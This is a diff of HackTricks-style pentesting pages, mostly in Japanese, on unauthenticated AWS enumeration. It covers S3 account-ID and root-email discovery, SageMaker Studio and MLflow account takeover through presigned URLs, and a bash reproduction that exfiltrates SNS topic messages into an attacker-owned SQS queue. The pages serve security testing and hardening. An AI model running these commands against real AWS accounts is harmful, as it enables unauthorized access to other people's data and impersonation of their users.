+# Installation
+pipx install s3-account-search
+pip install s3-account-search
+# With a bucket
+s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket
+# With an object
+s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext
+```
+この手法は、API Gateway URLs、Lambda URLs、Data Exchange data sets、そして tags の値（tag key を知っていれば）を取得することにも使えます。詳細は [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) および、この悪用を自動化するツール [**conditional-love**](https://github.com/plerionhq/conditional-love/) を参照してください。
+
+### バケットが AWS アカウントに属していることを確認する
+
+説明したように [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**、もしバケットを一覧表示する権限がある場合**、バケットが属する accountID を次のようなリクエストを送信して確認できます：
+```bash
+curl -X GET "[bucketname].amazonaws.com/" \
+-H "x-amz-expected-bucket-owner: [correct-account-id]"
+
+<?xml version="1.0" encoding="UTF-8"?>
+<ListBucketResult xmlns="http://s3.amazonaws.com/doc/2006-03-01/">...</ListBucketResult>
+```
+If the error is an “Access Denied” it means that the account ID was wrong.
+
+### rootアカウントの列挙に使用されたメール
+
+As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), it's possible to check if an email address is related to any AWS account by **メールに権限を付与しようとする** over a S3 bucket via ACLs. If this doesn't trigger an error, it means that the email is a root user of some AWS account:
+```python
+s3_client.put_bucket_acl(
+Bucket=bucket_name,
+AccessControlPolicy={
+'Grants': [
+{
+'Grantee': {
+'EmailAddress': 'some@emailtotest.com',
+'Type': 'AmazonCustomerByEmail',
+},
+'Permission': 'READ'
+},
+],
+'Owner': {
+'DisplayName': 'Whatever',
+'ID': 'c3d78ab5093a9ab8a5184de715d409c2ab5a0e2da66f08c2f6cc5c0bdeadbeef'
+}
+}
+)
+```
+## 参考資料
+
+- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
+- [https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/](https://cloudar.be/awsblog/finding-the-account-id-of-any-public-s3-bucket/)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md
new file mode 100644
index 000000000..1b964af7f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md
@@ -0,0 +1,108 @@
+# AWS - SageMaker Unauthorized Access
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SageMaker Studio - CreatePresignedDomainUrl を介したアカウント乗っ取り (Impersonate Any UserProfile)
+
+### 説明
+ターゲットの Studio `UserProfile` に対して `sagemaker:CreatePresignedDomainUrl` を呼び出す権限を持つアイデンティティは、そのプロファイルとして直接認証するログイン URL を発行できます。これにより攻撃者のブラウザは、プロファイルの `ExecutionRole` 権限を継承し、プロファイルの EFS‑backed ホームおよびアプリへの完全なアクセスを持つ Studio セッションを取得します。`iam:PassRole` やコンソールアクセスは不要です。
+
+### 要件
+- SageMaker Studio の `Domain` とその中のターゲット `UserProfile`。
+- 攻撃者プリンシパルはターゲット `UserProfile` に対して `sagemaker:CreatePresignedDomainUrl`（リソースレベル）または `*` を持っている必要があります。
+
+Minimal policy example (scoped to one UserProfile):
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": "sagemaker:CreatePresignedDomainUrl",
+"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
+}
+]
+}
+```
+### 悪用手順
+
+1) 対象にできる Studio Domain と UserProfiles を列挙する
+```bash
+DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
+aws sagemaker list-user-profiles --domain-id-equals $DOM
+TARGET_USER=<UserProfileName>
+```
+2) presigned URL を生成する (デフォルトでは有効期限は約5分)
+```bash
+aws sagemaker create-presigned-domain-url \
+--domain-id $DOM \
+--user-profile-name $TARGET_USER \
+--query AuthorizedUrl --output text
+```
+3) ブラウザで返されたURLを開き、ターゲットユーザーとしてStudioにサインインします。Studio内のJupyterターミナルで実効IDを確認します:
+```bash
+aws sts get-caller-identity
+```
+注意:
+- `--landing-uri` は省略可能です。`app:JupyterLab:/lab` のような一部の値は Studio のフレーバー/バージョンによって拒否される場合があります; デフォルトでは通常 Studio ホームにリダイレクトされ、その後 Jupyter に遷移します。
+- 組織のポリシーや VPC エンドポイントの制限によりネットワークアクセスがブロックされる場合があります; token minting はコンソールへのサインインや `iam:PassRole` を必要としません。
+
+### Impact
+- ARN が許可された任意の Studio `UserProfile` を引き受けることで、`ExecutionRole` やファイルシステム/アプリを継承し、横移動や権限昇格が発生します。
+
+### Evidence (from a controlled test)
+- ターゲット `UserProfile` に対して `sagemaker:CreatePresignedDomainUrl` のみが付与されている状態で、攻撃者ロールは次のような `AuthorizedUrl` を正常に返しました:
+```
+https://studio-d-xxxxxxxxxxxx.studio.<region>.sagemaker.aws/auth?token=eyJhbGciOi...
+```
+- 直接の HTTP リクエストは Studio へリダイレクト (HTTP 302) で応答し、その URL が有効で期限切れになるまでアクティブであることを確認できます。
+
+
+## SageMaker MLflow Tracking Server - ATO via CreatePresignedMlflowTrackingServerUrl
+
+### 説明
+ターゲットの SageMaker MLflow Tracking Server に対して `sagemaker:CreatePresignedMlflowTrackingServerUrl` を呼び出す権限を持つアイデンティティは、そのサーバーの管理された MLflow UI に直接認証する単回使用の presigned URL を発行できます。これにより、コンソールアクセスや `iam:PassRole` なしで、正規ユーザーが持つのと同じサーバーへのアクセス（実験や runs の表示/作成、およびサーバーの S3 アーティファクトストアからのアーティファクトのダウンロード/アップロード）が付与されます。
+
+### 要件
+- アカウント/リージョン内にある SageMaker MLflow Tracking Server とその名前。
+- 攻撃者主体はターゲットの MLflow Tracking Server リソースに対して `sagemaker:CreatePresignedMlflowTrackingServerUrl`（または `*`）の許可を必要とします。
+
+最小ポリシー例（1つの Tracking Server にスコープ）:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Action": "sagemaker:CreatePresignedMlflowTrackingServerUrl",
+"Resource": "arn:aws:sagemaker:<region>:<account-id>:mlflow-tracking-server/<tracking-server-name>"
+}
+]
+}
+```
+### 悪用手順
+
+1) ターゲットにできる MLflow Tracking Servers を列挙し、1つの名前を選ぶ
+```bash
+aws sagemaker list-mlflow-tracking-servers \
+--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
+TS_NAME=<tracking-server-name>
+```
+2) presigned MLflow UI URL を生成する（短時間のみ有効）
+```bash
+aws sagemaker create-presigned-mlflow-tracking-server-url \
+--tracking-server-name "$TS_NAME" \
+--expires-in-seconds 300 \
+--session-expiration-duration-in-seconds 1800 \
+--query AuthorizedUrl --output text
+```
+3) ブラウザで返されたURLを開き、当該 Tracking Server の認証済みユーザーとして MLflow UI にアクセスします。
+
+注意:
+- The Tracking Server は準備完了状態（例: `Created/Active`）である必要があります。まだ `Creating` の場合、呼び出しは拒否されます。
+- presigned URL は一回限りで有効期限が短いので、必要に応じて新しいものを生成してください。
+
+### 影響
+- ターゲットとなる Tracking Server の管理されている MLflow UI への直接アクセス。これにより、サーバ設定で強制される権限の範囲内で、experiments/runs の閲覧・変更や、サーバに設定された S3 artifact store に格納されている artifacts の取得・アップロードが可能になります。
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
deleted file mode 100644
index 266b0f433..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# AWS - SNS 認証なし列挙
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-SNSに関する詳細情報は、以下を確認してください:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### 誰でも利用可能
-
-ウェブコンソールからSNSトピックを設定する際に、**誰でも公開および購読できる**ことを示すことが可能です:
-
-<figure><img src="../../../images/image (212).png" alt=""><figcaption></figcaption></figure>
-
-したがって、アカウント内の**トピックのARNを見つける**（またはトピックの潜在的な名前をブルートフォースする）と、**それらに公開**または**購読**できるかどうかを**確認**できます。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md
new file mode 100644
index 000000000..85a046a0e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md
@@ -0,0 +1,55 @@
+# AWS - SNS 未認証の列挙
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+For more information about SNS check:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### 全員に公開
+
+Web コンソールから SNS トピックを設定する際、トピックに対して **Everyone can publish and subscribe** と指定することができます:
+
+<figure><img src="../../../../images/image (212).png" alt=""><figcaption></figcaption></figure>
+
+したがって、アカウント内のトピックの **ARN を見つける**（またはトピック名を brute forcing して見つける）ことができれば、それらに対して **publish** または **subscribe** できるかを **確認** できます。
+
+これは、SNS トピックのリソースポリシーが `sns:Subscribe` を `*`（または外部アカウント）に許可しているのと同等です。任意の principal は、今後のすべてのトピックメッセージを自身が所有する SQS キューに配信するサブスクリプションを作成できます。キューの所有者がサブスクリプションを開始した場合、SQS エンドポイントに対して人間の確認は不要です。
+
+<details>
+<summary>再現 (us-east-1)</summary>
+```bash
+REGION=us-east-1
+# Victim account (topic owner)
+VICTIM_TOPIC_ARN=$(aws sns create-topic --name exfil-victim-topic-$(date +%s) --region $REGION --query TopicArn --output text)
+
+# Open the topic to anyone subscribing
+cat > /tmp/topic-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"OpenSubscribe","Effect":"Allow","Principal":"*","Action":"sns:Subscribe","Resource":"$VICTIM_TOPIC_ARN"}]}
+JSON
+aws sns set-topic-attributes --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --attribute-name Policy --attribute-value file:///tmp/topic-policy.json
+
+# Attacker account (queue owner)
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name attacker-exfil-queue-$(date +%s) --region $REGION --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Allow the victim topic to send to the attacker queue
+cat > /tmp/sqs-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowVictimTopicSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$ATTACKER_Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$VICTIM_TOPIC_ARN"}}}]}
+JSON
+aws sqs set-queue-attributes --queue-url "$ATTACKER_Q_URL" --region $REGION --attributes Policy="$(cat /tmp/sqs-policy.json)"
+
+# Subscribe the attacker queue to the victim topic (auto-confirmed for SQS)
+SUB_ARN=$(aws sns subscribe --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --protocol sqs --notification-endpoint "$ATTACKER_Q_ARN" --query SubscriptionArn --output text)
+
+# Validation: publish and receive
+aws sns publish --region $REGION --topic-arn "$VICTIM_TOPIC_ARN" --message {pii:ssn:123-45-6789}
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --query Messages[0].Body --output text
+```
+</details>
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
deleted file mode 100644
index 073d1edbe..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md
+++ /dev/null
@@ -1,21 +0,0 @@
-# AWS - SQS 認証なし列挙
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-SQSに関する詳細情報は以下を確認してください:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### 公開URLテンプレート
-```
-https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
-```
-### パーミッションの確認
-
-SQSキューのポリシーを誤って設定し、AWS内のすべてのユーザーにメッセージの送受信を許可することが可能です。したがって、キューのARNを取得したら、アクセスできるか試してみてください。
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md
new file mode 100644
index 000000000..b3c03303d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md
@@ -0,0 +1,21 @@
+# AWS - SQS Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+SQS の詳細については、次を参照してください:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### 公開 URL テンプレート
+```
+https://sqs.[region].amazonaws.com/[account-id]/{user_provided}
+```
+### 権限の確認
+
+SQSのキューのポリシーを誤設定すると、AWS上の全員にメッセージの送受信権限を付与してしまう可能性があります。キューのARNを入手したらアクセスできるか試してみてください。
+
+{{#include ../../../../banners/hacktricks-training.md}}